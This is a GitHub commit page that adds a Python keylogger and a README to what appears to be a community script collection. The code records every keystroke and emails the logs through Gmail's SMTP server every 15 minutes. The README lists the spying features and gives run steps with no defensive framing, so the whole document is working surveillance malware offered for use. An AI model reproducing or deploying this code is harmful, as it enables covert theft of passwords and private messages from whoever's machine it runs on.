Skip to content

Commit 7865fa1

Browse files
Merge pull request #2562 from Kalivarapubindusree/key2
Keyboard capture script added
2 parents 34b6ba3 + 469ba28 commit 7865fa1

File tree

2 files changed

+65
-0
lines changed

2 files changed

+65
-0
lines changed
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
import keyboard
2+
import smtplib
3+
from threading import Semaphore, Timer
4+
5+
SEND_REPORT_EVERY = 900 # 15 minutes
6+
EMAIL_ADDRESS = "Your_Email_Goes_Here"
7+
EMAIL_PASSWORD = "Your_Password_Goes_Here"
8+
9+
class Keylogger:
10+
def __init__(self, interval):
11+
self.interval = interval
12+
self.log = ""
13+
self.semaphore = Semaphore(0)
14+
15+
def callback(self, event):
16+
name = event.name
17+
if len(name) > 1:
18+
name = {
19+
"space": " ",
20+
"enter": "[ENTER]\n",
21+
"decimal": ".",
22+
}.get(name, f"[{name.replace(' ', '_').upper()}]")
23+
self.log += name
24+
25+
def sendmail(self, email, password, message):
26+
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
27+
server.starttls()
28+
server.login(email, password)
29+
server.sendmail(email, email, message)
30+
server.quit()
31+
32+
def report(self):
33+
if self.log:
34+
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
35+
self.log = ""
36+
Timer(interval=self.interval, function=self.report).start()
37+
38+
def start(self):
39+
keyboard.on_release(callback=self.callback)
40+
self.report()
41+
self.semaphore.acquire()
42+
43+
if __name__ == "__main__":
44+
keylogger = Keylogger(interval=SEND_REPORT_EVERY)
45+
keylogger.start()

Key_Logger_Script/README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# <b>Keylogger</b>
2+
3+
4+
## Keylogger Functionalities :
5+
6+
* Keylogging
7+
* Can Save the keylogs in a file (you can change the local of file to wherever you want)
8+
* Can print the keylogs after given interval of time (in the case 15 mins, you can change the time interval)
9+
* Can mail you all the keylogs after given interval of time (in the case 15 mins, you can change the time interval).
10+
11+
## Keylogger Instructions: 👨🏻‍💻
12+
### Step 1:
13+
Open Termnial 💻
14+
### Step 2:
15+
Locate to the directory where python file is located 📂
16+
### Step 3:
17+
Run the command: python3 Key_Logger.py 🧐
18+
### Step 4:
19+
Sit back and Relax. Let the Script do the Job. ☕
20+

0 commit comments

Comments
 (0)